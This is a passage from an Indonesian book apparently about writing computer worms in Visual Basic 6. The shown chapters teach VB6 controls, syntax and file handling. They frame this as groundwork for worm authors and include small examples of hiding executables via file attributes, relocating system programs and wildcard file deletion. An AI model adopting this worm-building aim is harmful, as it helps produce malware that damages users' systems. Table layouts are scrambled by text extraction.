Nama VScrollBar, biasanya diberi prefix vsb Jika bernilai true, mengijinkan VScrollBar untuk merespon event mouse dan keyboard. Jika bernilai false, VScrollBar akan menolak event tersebut Tinggi VScrollBar Mengatur besarnya perubahan yang ditambah atau dikurangkan dengan properti Value pada VScrollBar saat area bar di klik Mengatur nilai terbesar pada properti Value, jangkauan terbesarnya adalah 32,767 Mengatur nilai terkecil pada properti Value, jangkauan terkecilnya adalah -32,768 Mengatur besarnya perubahan yang ditambah atau dikurangkan dengan properti Value pada VScrollBar saat panah scroll di klik Lebar VScrollBar.

Height LargeChange

Max Min SmallChange

Width

Jasakom

64

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: EVENT
Change Scroll

SAAT TERJADI
Terjadi perubahan pada VScrollBar User melakukan penggulungan dengan mengklik area bar atau panah scroll.

5.2.12 TIMER
Control Timer adalah control yang digunakan untuk event yang tidak memerlukan interaksi user dan berjalan dengan sendirinya. Di bawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) Enabled

KETERANGAN
Nama Timer, biasanya diberi prefix tmr Jika bernilai true, mengijinkan Timer untuk merespon event yang terjadi. Jika bernilai false, Timer akan menolak event tersebut Mengatur jarak waktu / jeda dalam milliseconds (seperseribu detik) antara waktu panggil dengan dieksekusinya event yang ditentukan. Misalnya suatu Timer memiliki Interval sebesar 500 milliseconds (0.5 second), ini sama saja artinya Timer tersebut akan mengeksekusi procedure didalamnya sebanyak 2 kali dalam 1 detik.

Interval

karena Timer tidak memerlukan interaksi user, maka hanya memiliki satu event yang terjadi pada saat run-time yaitu: EVENT
Timer

SAAT TERJADI
Perubahan waktu, atau pada saat tertentu yang telah ditetapkan.

65

Jasakom

Bab 5. Object Form dan Control

Computer Worm 1 - Secret of Underground Coding : Uncensored

5.2.13 DRIVELISTBOX
Control DriveListBox mengijinkan user untuk memilih suatu drive pada saat run-time. Control ini menampilkan daftar drive yang tersedia di dalam sebuah ComboBox. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) BackColor Font

KETERANGAN
Nama DriveListBox, biasanya diberi prefix drv Warna latar belakang DriveListBox Mengatur jenis, model dan ukuran huruf Mengatur warna teks pada DriveListBox Tinggi DriveListBox Lebar DriveListBox.

Bab 5. Object Form dan Control

ForeColor Height Width

Di bawah ini contoh beberapa event yang biasanya dimanfaatkan: EVENT


Change GotFocus LostFocus

SAAT TERJADI
Terjadi perubahan pada DriveListBox DriveListBox mendapat fokus Sesaat sebelum fokus berpindah dari DriveListBox.

5.2.14 DIRLISTBOX
Control DirListBox atau directory list box, menampilkan daftar direktori aktif di dalam sebuah ListBox. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) BackColor Font ForeColor Height Width

KETERANGAN
Nama DirListBox, biasanya diberi prefix dir Warna latar belakang DirListBox Mengatur jenis, model dan ukuran huruf Mengatur warna teks pada DirListBox Tinggi DirListBox Lebar DirListBox.

Jasakom

66

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: EVENT Change Click GotFocus LostFocus SAAT TERJADI Terjadi perubahan pada DirListBox User mengklik pada DirListBox DirListBox mendapat fokus Sesaat sebelum fokus berpindah dari DirListBox. Bab 5. Object Form dan Control

5.2.15 FILELISTBOX
Control FileListBox menampilkan daftar file di dalam sebuah ListBox. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) Archive BackColor Font ForeColor Height Hidden

KETERANGAN
Nama FileListBox, biasanya diberi prefix fil Jika false, maka tidak menampilkan file yang ber-atribut Archive Warna latar belakang FileListBox Mengatur jenis, model dan ukuran huruf Mengatur warna teks pada FileListBox Tinggi FileListBox Jika true, maka menampilkan file yang beratribut Hidden (Hidden file adalah file yang diatur agar tidak terlihat oleh user) Mengatur cara pemilihan, yang memungkinkan untuk memilih lebih dari satu file Mengatur pola file yang akan ditampilkan pada FileListBox, misalnya *.exe, ini berarti hanya akan menampilkan file yang berekstensi exe saja. Jika false, maka tidak menampilkan file yang beratribut Read only Jika false, maka tidak menampilkan file yang beratribut System Lebar FileListBox

MultiSelect Pattern

ReadOnly System Width

67

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Di bawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: EVENT
Click DblClick GotFocus LostFocus

SAAT TERJADI
User mengklik pada FileListBox User melakukan double click pada FileListBox FileListBox mendapat fokus Sesaat sebelum fokus berpindah dari FileListBox.

Bab 5. Object Form dan Control

5.2.16 SHAPE
Dengan control Shape kita bisa membuat lingkaran (circles), bujur telur (ovals), segi empat (square), persegi panjang (rectangles), segi empat siku bulat (rounded square) dan persegi panjang siku bulat (rounded rectangles). Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) BackColor BorderColor BorderStyle BorderWidth FillColor FillStyle Height Shape

KETERANGAN
Nama Shape, biasanya diberi prefix shp Warna latar belakang Shape jika properti BackStyle adalah opaque Mengatur warna garis tepi pada Shape Mengatur jenis garis yang digunakan Mengatur ketebalan garis Mengatur warna isi dari Shape Mengatur cara pengisian warna pada Shape, bisa berupa garis horizontal, vertical, cross atau solid. Tinggi Shape Mengatur bentuk Shape, bisa berupa circles, ovals, square, rectangles, rounded square dan rounded rectangles Lebar Shape.

Width

Jasakom

68

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Untuk Shape tidak ada event yang bisa dimanfaatkan, karena Shape dibuat tidak bertujuan untuk melakukan event tertentu tetapi hanya untuk kepentingan interface saja.

5.2.17 LINE
Dengan control Line kita bisa membuat gambar garis. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) BorderColor BorderStyle BorderWidth

KETERANGAN
Mengatur warna garis Mengatur jenis garis yang digunakan Mengatur ketebalan garis

Untuk Line tidak ada event yang bisa dimanfaatkan, karena Line dibuat tidak bertujuan untuk melakukan event tertentu tetapi hanya untuk kepentingan interface saja.

5.2.18 IMAGE
Dengan control Image kita bisa menempatkan object gambar pada form. Dibawah ini beberapa contoh properti yang biasanya digunakan untuk control Image: PROPERTI (Name) Height Picture Stretch Width Tinggi Image Mengatur object gambar pada bidang Image Jika bernilai true, maka object gambar akan menyesuaikan dengan ukuran control Image Lebar Image. KETERANGAN Nama Image, biasanya diberi prefix img

69

Jasakom

Bab 5. Object Form dan Control

Nama Line, biasanya diberi prefix lin

Computer Worm 1 - Secret of Underground Coding : Uncensored

Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: EVENT
Click DblClick

SAAT TERJADI
User mengklik pada bidang Image User melakukan double click pada bidang Image.

5.2.19 DATA
Control Data dimanfaatkan pada saat pembuatan aplikasi database. Control ini memudahkan untuk berpindah dari satu data record ke data record lainnya. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) Allign BackColor Caption Connect DatabaseName Height RecordSource Width

Bab 5. Object Form dan Control

KETERANGAN
Nama control Data, biasanya diberi prefix dat Mengatur posisi control Data pada form Mengatur warna latar pada control Data Mengatur teks yang ditampilkan pada control Data Mengatur jenis sumber data yang digunakan Menentukan file data yang digunakan Tinggi control Data Menentukan data yang digunakan pada tabel sumber Lebar control Data.

Dibawah ini adalah contoh event yang biasanya dimanfaatkan: EVENT


Validate

SAAT TERJADI
Saat validasi suatu record terjadi

Jasakom

70

Computer Worm 1 - Secret of Undeground Coding : Uncensored

5.2.20 OLE
Control OLE dimanfaatkan untuk memasukan third party object seperti aplikasi MS Word, Paint, Calendar dan lain sebagainya. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
(Name) AutoActivate BackColor BorderStyle Class Height SizeMode Width

KETERANGAN
Nama control OLE, biasanya diberi prefix ole Mengatur cara control OLE diaktifkan Mengatur warna latar pada control OLE Mengatur Class yang digunakan Tinggi control OLE Mengatur model ukuran pada control OLE Lebar control OLE. Mengatur jenis garis tepi pada control OLE

Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: EVENT
Click DblClick GotFocus LostFocus Updated

SAAT TERJADI
User mengklik pada control OLE User melakukan double click pada control OLE Control OLE mendapat fokus Sesaat sebelum fokus berpindah dari control OLE Data berubah, diperbarui

71

Jasakom

Bab 5. Object Form dan Control

Computer Worm 1 - Secret of Undeground Coding : Uncensored

BAB 6 KODE PROGRAM

Kenapa bab ini ada?


Bab 6. Kode Program

Sebagian besar worm komputer di masa lalu dibuat dengan bahasa pemrograman assembly yang merupakan bahasa pemrograman tingkat rendah dan cukup sulit untuk digunakan. Namun kini, para worm writer lebih memilih menggunakan bahasa pemrograman tingkat tinggi dan tool yang lebih maju, mengingat optimisasi yang dilakukan cenderung bersifat mengaburkan logika dari kode yang ditulis dalam bahasa tingkat tinggi tersebut. Sehingga tingkat kompleksitas program yang dihasilkan dapat mempersulit para peneliti untuk melakukan proses unassembly dan analisa. Melanjutkan bab sebelumya maka bab ini akan memuat teknik penulisan pada salah satu bahasa pemrograman tingkat tinggi tersebut, yaitu bahasa Visual Basic.

73

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

ode program adalah instruksi-instruksi yang ditulis oleh programmer dengan bahasa pemrograman tertentu, yang memerintahkan aplikasi untuk melakukan tugas tertentu pula. Bahasa yang digunakan pada Visual Basic umumnya hampir sama dengan bahasa pemrograman basic lainnya (basic, turbo basic, qbasic). Dengan Visual Basic, pemrograman tidak dilakukan hanya dengan menulis kode saja tetapi sudah menggunakan pendekatan visual untuk merancang user interface-nya. Pada Visual Basic, kode-kode pemrograman biasanya diletakkan pada object-object sebagai berikut: 1. Object Form, kode ini akan dijalankan apabila Form tersebut diload. 2. Control, control bisa memiliki penugasan sendiri yang disebut dengan event procedure. Setiap control tersebut bisa memiliki event procedure lebih dari satu, dan setiap event procedure yang dibuat bisa membuat aksi yang berbeda. 3. Standard Module, adalah object yang terpisah dari form. Standard Module berisi kode-kode program yang bersifat global yang dapat dipanggil oleh object apa saja.

Bab 6. Kode program

6.1 VARIABEL
Variabel digunakan pada Visual Basic untuk menyimpan informasi yang diperlukan oleh aplikasi. Untuk memberi nama variabel, harus memiliki syarat sebagai berikut: 1. 2. 3. 4. Tidak lebih dari 40 karakter Berupa huruf, angka dan underscore Karakter pertama berupa huruf Tidak menggunakan kata yang termasuk kode program (kata yang termasuk perintah atau function dalam bahasa Visual Basic).

Variabel dalam Visual Basic memiliki beberapa tipe, pemilihan tipe variabel yang sesuai akan sangat berpengaruh terhadap pemakaian resources oleh program aplikasi yang dibuat.

Jasakom

74

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Untuk menghindari kesalahan yang diakibatkan kekeliruan pada pembuatan variabel, biasanya variabel dideklarasikan. Berikut cara untuk mendeklarasikan variabel:

6.1.1 IMPLICIT
Implicit, untuk membuat deklarasi implicit, gunakan sufix (akhiran) yang berhubungan dengan tipe data pada tabel berikut: Tipe Data
Boolean Integer Long (Integer) Single (Floating)

Jangkauan
True (benar) atau False (salah) -32768 s/d 32767 -2147483.648 s/d 2147483647 Negatif: -3.402823E38 s/d -1.401298E-45 Positif: 1.401298E-45 s/d 3.402823E38

Ukuran
2 bytes 2 bytes 4 bytes 4 bytes

Sufix
% & !

Double (Floating)

Negatif: -1.79769313486232E308 s/d -4.94065645841247E-324 Positif: 4.94065645841247E-324 s/d 1.79769313486232E308

8 bytes

Currency Date Object String

-922337203685477.5808 s/d 922337203685477.5807

8 bytes

1 Januari 100 s/d 31 Desember 8 bytes 9999 Referensi Object 4 bytes 0 s/d 2 Milyar Karakter (95/97 1 bytes $ & NT) dan 0 s/d sekitar 65535 p e r karakter (versi 3.1) karakter Null,Error, dan seluruh tipe data 16 byte lain misalnya boolean, numerik, + 1 byte string, object, array. p e r karater 0 s/d 255 1 byte

Variant

Byte

75

Jasakom

Bab 6. Kode Program

Computer Worm 1 - Secret of Underground Coding : Uncensored

Contoh pe nggunaan variabel string dalam code program :


Kalimat$="ini string gitu loh"

Sedangkan berikut adalah contoh penggunaan variabel integer :


Jumlah% = 300

6.1.2 EXPLICIT
untuk membuat deklarasi explicit, yang pertama dilakukan adalah menentukan batasan-batasannya. Ada empat jenis tingkatan yang digunakan, yaitu: A. Procedure level Pada tingkatan ini, variabel tidak akan berlaku lagi saat procedure berakhir.
Dim MyInt as Integer Dim MyDouble as Double Dim MyString, YourString as String

Bab 6. Kode program

B. Procedure level, static Untuk membuat variabel tetap berlaku walaupun procedure telah berakhir, bisa dilakukan dengan mengganti pernyataan "Dim" menjadi kata "Static":
Static MyInt as Integer Static MyDouble as Double Static MyString, YourString as String

Dengan menempatkan pernyataan Static didepan nama procedure maka seluruh variabel dalam procedure itu bersifat static walaupun dideklarasikan oleh pernyataan Dim, contoh:
Static Sub Command1_Click() Dim MyInt as Integer 'bla bla End Sub

Jasakom

76

Computer Worm 1 - Secret of Undeground Coding : Uncensored

C. Form (module) level Variabel yang menggunakan form (module) level akan berlaku untuk seluruh procedure yang ada pada form (module) tersebut. Variabel dengan tingkatan form (module) terdeklarasi dengan pendeklarasian general object di jendela kode form (module), juga menggunakan kata "Dim":
Dim MyInt as Integer Dim MyDate as Date

Global MyInt as Integer Global MyDate as Date

6.2 STATEMENTS AND EXPRESSIONS


Pernyataan (statement) yang paling sederhana adalah pernyataan penugasan. Terdiri dari nama variabel dan diikuti dengan operator (=), dan diikuti beberapa ungkapan (expression). Contoh:
Saldo=DebetKredit Harga_Jual=Harga_Beli+(Harga_Beli*10%) Explorer.Caption="Gue Lagi Iseng"

Jika pernyataan yang dibuat terlalu panjang, bisa dilanjutkan ke baris berikutnya dengan menggunakan karakter penghubung underscore ( _ ). Contoh:
Months=Log(Final*IntRate/Deposit+1) _ /Log(1+IntRate)

77

Jasakom

Bab 6. Kode Program

D. Global level Variabel yang menggunakan Global level akan berlaku untuk seluruh procedure yang ada pada aplikasi tersebut, Tingkatan module variabel dideklarasi dengan pendeklarasian general object di jendela kode module (sebaiknya menampung variabel global di dalam sebuah module), menggunakan pernyataan "Global":

Computer Worm 1 - Secret of Underground Coding : Uncensored

Pernyataan komentar dimulai dengan pernyataan "Rem" atau single quote ('), contoh:
Rem Haiiii ini cuma komentar 'Nah ini gak bakal diakses program h = b / 2 'cara lain memberi komentar

6.3 OPERATOR
Operator adalah hal yang sangat penting dalam menulis kode sebuah program. Adapun operator yang digunakan pada Visual Basic 6.0 adalah: Bab 6. Kode program

6.3.1 OPERATOR PENUGASAN (ASSIGNMENT)


Operator penugasan disimbolkan dengan tanda sama dengan (=) yang berfungsi untuk memasukkan data ke suatu variabel. penulisannya adalah <Variabel> = <ekspresi> contoh:
Start=Now Bilangan=0 Harga=500 Jumlah=Banyak*Harga

6.3.2 OPERATOR ARITMATIKA


Operator aritmatika adalah operator paling sederhana dalam proses perhitungan. Operator-operator tersebut dalam urutan yang diutamakan perhitungannya (prioritas rumus yang akan dijalankan seandainya rumus ditulis dalam satu baris tanpa tanda kurung) adalah:

Jasakom

78

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Operator
^ */ \ Mod +Pangkat

Keterangan
Perkalian dan pembagian Pembagian bulat Sisa bagi Pertambahan dan pengurangan

Tanda kurung pada ungkapan dapat mengubah pengutamaan perhitungan. Contoh:


X=2+3*4 'Akan menghasilkan 14 Y=(2+3)*4 'Akan menghasilkan 20 Z=(2+3)*(42) 'Akan menghasilkan 10

Untuk menggabung dua string atau lebih, bisa menggunakan simbol '& atau '+, contoh:
Label1.caption="Nama saya" & "Komeng"

Akan menghasilkan "Nama sayaKomeng"


Label1.caption="Nama saya " & "Komeng"

Akan menghasilkan "Nama saya Komeng"


Label1.caption="Nama saya " + "Komeng"

Akan menghasilkan "Nama saya Komeng"

6.3.3 OPERATOR KOMPARASI


Operator ini digunakan untuk melakukan perbandingan. Adapun operator-operator tersebut adalah:

79

Jasakom

Bab 6. Kode Program

Computer Worm 1 - Secret of Underground Coding : Uncensored

Operator
= <> < > <= >= Like Is

Keterangan
Sama dengan Tidak sama dengan Lebih kecil dari Lebih besar dari Lebih kecil atau sama dengan Lebih besar atau sama dengan Pencocokan pola Sama referensi object

Hasil suatu operasi komparasi adalah suatu nilai boolean berupa true (benar) atau false (salah). Contoh : Bab 6. Kode program
1=42 'menghasilkan false 2-1<>4-2 'menghasilkan true x="wrm.pif" like "*.pif" 'menghasilkan true x="wrm.scr" like "wr?.*" 'menghasilkan true

6.3.4 OPERATOR LOGIKA


Operator logika mengikuti operator aritmatika dalam pengutamaan perhitungan. Adapun operator-operator tersebut adalah: Operator
Not And Or Xor Eqv Imp

Keterangan
Logika bukan Logika dan Logika atau Exclusive Or Ekivalen Implikasi

1. Operator Not akan menghasilkan nilai true jika ungkapannya memang salah.

Jasakom

80

Computer Worm 1 - Secret of Undeground Coding : Uncensored

2. Operator And akan menghasilkan nilai true jika semua ungkapan benar, dan akan menghasilkan false, jika salah satu ungkapan salah atau semua ungkapan salah. 3. Operator Or akan menghasilkan nilai true jika salah satu ungkapan benar, dan akan menghasilkan false jika semua ungkapan salah. 4. Operator Xor akan menghasilkan nilai true jika satu ungkapan salah dan satu ungkapan lain benar, dan akan menghasilkan nilai false apabila semua ungkapan benar atau semua ungkapan salah. 5. Operator Eqv adalah kebalikan dari operator Xor, akan menghasilkan nilai true jika kedua ungkapan sama-sama benar atau samasama salah, dan akan menghasilkan false jika satu ungkapan salah dan satu ungkapan lain benar. 6. Operator Imp akan menghasilkan nilai true jika ungkapan pertama benar dan ungkapan kedua salah, selain kondisi tersebut akan menghasilkan false. Bab 6. Kode Program

6.4 PERCABANGAN (BRANCHING)


Statement bercabang digunakan untuk melakukan suatu tindakan di dalam suatu program berdasarkan kondisi tertentu.

6.4.1 PERCABANGAN IF/THEN/ELSE


Digunakan untuk menjalankan satu blok perintah yang nilainya tergantung pada kondisi yang diuji. Penulisannya adalah sebagai berikut: If <conditions> then [statements and expressions] Else [statements and expressions] End If

81

Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Atau kita bisa menambahkan statement ElseIf, sehingga menjadi: If <conditions> then [statements and expressions] ElseIf <conditions> then [statements and expressions] Else [statements and expressions] End If

6.4.2 PERCABANGAN SELECT CASE


Sebagai tambahan terhadap percabangan If/Then/Else, format select case biasanya digunakan apabila ada kemungkinan percabangan yang lebih banyak. Penulisannya adalah sebagai berikut: Select Case <conditions> [Case <ekspresi-1> [statements and expressions] [Case <ekspresi-2> [statements and expressions] [Case <ekspresi-n> [statements and expressions] [Case Else [Case <ekspresi-1> [statements and expressions] End Select

Bab 6. Kode program

Jasakom

82

Computer Worm 1 - Secret of Undeground Coding : Uncensored

6.4.3 PERCABANGAN GOSUB/RETURN


Digunakan untuk mencabang(melompat) ke suatu sub-rutin yang ditandai dengan baris label atau baris nomor. Setelah mengakses baris referensi akan kembali mengakses statement dan expression dibaris setelahnya. Penulisannya adalah sebagai berikut: GoSub <line> [statements and expressions] <line> [statements and expressions] Return Line/branch atau baris referensi yang dituju bisa berupa baris label teks yang diakhiri titik dua, bisa juga berupa baris nomor dan harus berada pada procedure yang sama. Perhatikan contoh berikut ini:
Sub Form_activate() Dim Num As single Num=InputBox("Ketik Tahun Lahir Anda") GoSub Cabang Msgbox "Usia Anda Sekarang "&Num Exit Sub 'menjadikan akhir dari sub Cabang: Num = Year(Now)-Num Return End Sub

6.4.4 PERCABANGAN GOTO


Teknik percabangan ini biasanya digunakan untuk run-time error trapping, Setelah mengakses baris referensi tidak akan mengakses statement dan expression dibaris setelahnya. Penulisannya adalah sebagai berikut:

83

Jasakom

Bab 6. Kode Program

Computer Worm 1 - Secret of Underground Coding : Uncensored

GoTo <line> [statements and expressions] <line> [statements and expressions] Return Sebagai contoh:
Sub Form_activate() Dim Num As single Num=InputBox("Ketik Tahun Lahir Anda") GoSub Cabang Msgbox "Usia Anda Sekarang " & Num GoTo Akhir 'melompati sub Cabang Cabang: Num = Year(Now)-Num Return Akhir: End Sub

Bab 6. Kode program

6.4.5 PERCABANGAN ON ERROR


Percabangan ini dilakukan untuk menangani kesalahan yang terjadi pada saat run-time. Ada beberapa bentuk dalam penulisannya: 1. On Error Resume Next Apabila terjadi kesalahan, maka mengacuhkan kesalahan tersebut untuk kemudian mengakses baris setelahnya. 2. On Error Goto <line> Apabila terjadi kesalahan, maka akan mengakses baris referensi pada procedure yang sama. 3. On Error Goto 0 Menyebabkan perangkap kesalahan yang sebelumnya dipasang menjadi tidak aktif (membatalkan penanganan kesalahan).

Jasakom

84

Computer Worm 1 - Secret of Undeground Coding : Uncensored

6.5 PENGULANGAN (LOOPING)


Looping dilakukan dengan format Do/Loop. Loop digunakan untuk operasi yang akan diulang beberapa kali. Loop akan mengulang sampai suatu kondisi yang telah ditentukan di awal atau di akhir memenuhi persyaratan. Ada beberapa bentuk dalam penulisannya:

6.5.1 DO WHILE/LOOP
Contoh dibawah ini akan melakukan perulangan yang berlangsung selama (while) variabel Counter lebih kecil atau sama dengan 500. Sementara statement Debug.Print akan menampilkan perhitungan tersebut pada jendela Debug.
Counter = 1 Do While Counter <= 500 Debug.Print Counter Counter = Counter + 1 Loop

6.5.2 DO UNTIL/LOOP
Contoh dibawah ini akan melakukan perulangan sampai (until) variabel Counter melebihi 500.
Counter = 1 Do Until Counter > 500 Debug.Print Counter Counter = Counter + 1 Loop

6.5.3 DO/LOOP WHILE


Contoh dibawah ini akan melakukan perulangan selama variabel Counter kurang dari atau sama dengan 500.
Counter = 1 Do Debug.Print Counter Counter = Counter + 1 Loop While Counter <= 500

85

Jasakom

Bab 6. Kode Program

Computer Worm 1 - Secret of Underground Coding : Uncensored

6.5.4 DO/LOOP UNTIL


Contoh dibawah ini akan melakukan perulangan sampai variabel Counter lebih besar dari 500.
Counter = 1 Do Debug.Print Counter Counter = Counter + 1 Loop Until Counter > 500

6.5.5 FOR/NEXT
Teknik perulangan ini digunakan untuk melakukan pengulangan suatu blok program sebanyak yang telah ditentukan pada nilai awal dan nilai akhir. Bentuk penulisannya: Bab 6. Kode program For <counter> = <awal> to <akhir> [step<step>] [statements and expressions] [Exit For] [statements and expressions] Next [<counter>] Pada contoh berikut, variabel Y diawali dengan nilai 1 dan masingmasing perulangan ditambah dengan 20 step (langkah). Perulangan ini terus berlanjut sampai variabel Y menjadi lebih besar atau sama dengan 500. Jika step tidak dimasukan maka nilai default-nya adalah 1.
For Y = 1 to 500 Step 20 A = Y * 2 Debug.Print A Next I

Perulangan bisa dihentikan dengan statement Exit For, yang akan langsung mengakses baris setelahnya.

Jasakom

86

Computer Worm 1 - Secret of Undeground Coding : Uncensored

6.6 PENGHENTIAN (TERMINATING)


Pengakhiran total, pengakhiran sebagian dan pengakhiran sementara bisa dilakukan dengan beberapa cara:

6.6.1 END
Digunakan untuk memaksa program berhenti dari suatu procedure atau pernyataan program. Beberapa bentuk pernyataan End, adalah sebagai berikut: 1. End, digunakan untuk mengakhiri aplikasi, menutup semua form yang terbuka dan bisa diletakkan dimana saja 2. End If, digunakan untuk mengakhiri blok pernyataan If/Then/ Else 3. End With, digunakan untuk mengakhiri blok pernyataan With 4. End Select, digunakan untuk mengakhiri blok pernyataan Select Case 5. End Type, digunakan untuk mengakhiri struktur Type 6. End Property, digunakan untuk mengakhiri Property 7. End Sub, digunakan untuk mengakhiri Sub 8. End Function, digunakan untuk mengakhiri Function.

6.6.2 EXIT
Digunakan untuk mengakhiri suatu blok pernyataan program. Beberapa bentuk pernyataan Exit, adalah sebagai berikut: 1. Exit Do, digunakan untuk keluar dari perintah do/loop dan control program di bawah perintah Loop. 2. Exit For, digunakan untuk keluar dari perintah For/Next dan control program ke bawah perintah Next. 3. Exit Function, digunakan untuk keluar dari badan function yang dipanggil dan control program kebawah baris pemanggil.

87

Jasakom

Bab 6. Kode Program

Computer Worm 1 - Secret of Underground Coding : Uncensored

4. Exit Property, digunakan untuk keluar dari badan procedure Property yang sedang tampil dan control program ke bawah baris pemanggil procedure Property tersebut. 5. Exit Sub, digunakan untuk keluar dari badan procedure Sub yang sedang tampil dan control program ke bawah baris pemanggil procedure Sub tersebut.

6.6.3 STOP
Untuk menghentikan sementara pelaksanaan program. Pernyatan Stop tidak menutup program yang dibuka dan tidak menghapus nilai variabel, sehingga pernyataan bisa dilanjutkan kembali.

6.7 ARRAY
Array adalah kumpulan variabel serupa, dimana masing-masing variabel memiliki nama dan jenis yang sama. Array umumnya memiliki index, elemen pertama memiliki nomor index 0 (nol). Array bisa dideklarasikan dengan dua cara, sebagai variabel tunggal dan dengan menggunakan pernyataan To.

Bab 6. Kode program

6.7.1 DEKLARASI DENGAN VARIABEL TUNGGAL


Untuk mendeklarasikan suatu array dengan variabel tunggal, bisa menggunakan sintaksis berikut: Dim | Public | Private ArrayName (Subscript) As_ DataType 1. Dim, public dan private, adalah statement yang mendeklarasikan array dan cakupannya. Penggunaan Dim hanya akan berlaku pada procedure yang sama, sedangkan Public akan membuat array berlaku untuk keseluruhan program, sementara Private (dengan sesi General pada form, atau module) akan membuat array berlaku untuk form itu saja atau module itu saja

Jasakom

88

Computer Worm 1 - Secret of Undeground Coding : Uncensored

2. ArrayName, adalah nama dari array 3. Subscript, adalah jumlah elemen pada array. Karena index pertama pada array adalah 0 (nol), maka apabila suatu Subscript adalah 5, index pada elemen terakhir adalah 4 (elemen0, elemen1, elemen2, elemen3, elemen4) 4. As, adalah keyword pada Visual Basic untuk menandakan suatu deklarasi jenis 5. DataType, adalah jenis data yang berlaku pada Visual Basic, seperti String, Integer atau Double. Contoh dibawah akan mendeklarasikan array dengan jenis data String dan dengan lima elemen didalamnya.
Dim nama nama(0)= nama(1)= nama(2)= nama(3)= nama(4)= (5) as string "kangen" "mistery" "puisi cinta" "kenangan" "my heart"

6.7.2 DEKLARASI DENGAN KEYWORD TO


Array juga bisa dideklarasikan menggunakan keyword To, dengan sedikit perubahan sintaksis pada bagian Subscribe. Contoh di bawah ini akan mendeklarasikan array dengan jenis data Integer dan dengan lima elemen didalamnya.
Dim telp(1 to 5) As Integer telp(1)=55241 telp(2)=33937 telp(3)=10248 telp(4)=97824 telp(5)=35346

89

Jasakom

Bab 6. Kode Program

Computer Worm 1 - Secret of Underground Coding : Uncensored

6.8 PENANGANAN FILE


Sebagai suatu bahasa pemrograman, Visual Basic memiliki perintahperintah dasar yang mewakili suatu tindakan tertentu. Berikut adalah beberapa perintah dasar yang berkaitan dengan penanganan file dan direktori.

6.8.1 MENGUBAH NAMA DAN MEMINDAH FILE


Untuk mengubah nama atau memindah suatu file ke lokasi berbeda dapat menggunakan sintaksis berikut: Name [source] As [destination] Bab 6. Kode program source, menentukan path dan file yang akan di- diubah atau dipindah destination, menentukan path atau nama untuk file yang akan diubah atau dipindah. Contoh, untuk mengubah nama file: "c:\windows\calc.exe" menjadi file: "c:\windows\kalkulator.exe" dapat menggunakan perintah berikut ini:

Name "c:\windows\calc.exe" As "c:\windows\kalkulator.exe"

Untuk memindah file: "c:\windows\calc.exe" ke lokasi "c:\windows\ system\calc.exe" dapat menggunakan perintah berikut ini:

Name "c:\windows\calc.exe" As "c:\windows\sy stem\calc.exe"

Jasakom

90

Computer Worm 1 - Secret of Undeground Coding : Uncensored

6.8.2 MEMBUAT SALINAN / MENG-COPY FILE


Untuk membuat salinan atau meng-copy suatu file dapat menggunakan sintaksis berikut: FileCopy [source], [destination] source : menentukan path dan nama file sumber yang akan di-copy destination : menentukan path dan nama untuk file hasil dari proses. Adapun file tujuan bisa menggunakan nama file yang berbeda dengan file aslinya. Contoh, untuk meng-copy file: "c:\windows\notepad.exe" ke direktori "c:\windows\system" dapat menggunakan sintaksis berikut ini:

FileCopy "c:\windows\notepad.exe", "c:\windo ws\system\notepad.exe"

6.8.3 MENGHAPUS FILE


Untuk menghapus suatu file dapat menggunakan sintaksis berikut ini: Kill [filename] filename : menentukan path dan file yang akan di hapus.

Contoh, untuk menghapus seluruh file yang berekstensi "bak" (dengan menggunakan wildcards) pada direktori "c:\windows" dapat menggunakan sintaksis berikut ini:

Kill "c:\windows\*.bak"

91

Jasakom

Bab 6. Kode Program

Computer Worm 1 - Secret of Underground Coding : Uncensored

6.8.4 MELIHAT DAN MENGUBAH ATRIBUT PADA FILE


Untuk memberi atribut suatu file, bisa menggunakan sintaksis berikut ini: SetAttr ([filename]), [constants / value] filename Constanst/value Symbolic Constant
vbNormal

: Menentukan path dan file yang akan disetting atributnya. : menentukan atribut dengan menggunakan symbolic constants atau value, diantaranya: Value
0 1 2 4 8 16 32

Keterangan
Jenis atribut normal, menandakan file tidak diatur oleh atribut apapun. Read only Hidden System Volume label Directory Archieve

Bab 6. Kode program

vbReadOnly vbHidden vbSystem vbVolume vbDirectory vbArchive

Untuk memberi lebih dari satu atribut dengan menggunakan value, tinggal menambah bilangan pada atribut. Misalnya untuk memberi atribut Archieve (32) dan Read only (1) secara bersamaan maka digunakan bilangan 33. Sedangkan untuk menggunakan symbolic constant, yaitu dengan menambahkan tanda tambah "+" disetiap constant berikutnya. Contoh, untuk mengatur atribut file: "c:\windows\notepad .exe" menjadi Archieve dan Hidden, maka dapat menggunakan sintaksis berikut ini:
SetAttr("c:\windows\notepad.exe"), 34

Jasakom

92

Computer Worm 1 - Secret of Undeground Coding : Uncensored

Atau
SetAttr("c:\windows\notepad.exe"), vbArchiev e +vbHidden

Untuk bisa mengetahui atribut suatu file, bisa menggunakan sintaksis berikut ini: GetAttr ([filename]) filename : menentukan path dan file yang ingin diketahui atributnya. Contoh, untuk mengetahui atribut pada file: "c:\windows\calc.exe" dan menampilkannya pada sebuah kotak pesan, dapat menggunakan sintaksis berikut ini:

MsgBox GetAttr("c:\windows\calc.exe")

Sintaksis ini akan memberikan hasil berupa value seperti pada cara pembuatan atribut: 1 untuk Read only, 2 untuk Hidden, dan seterusnya.

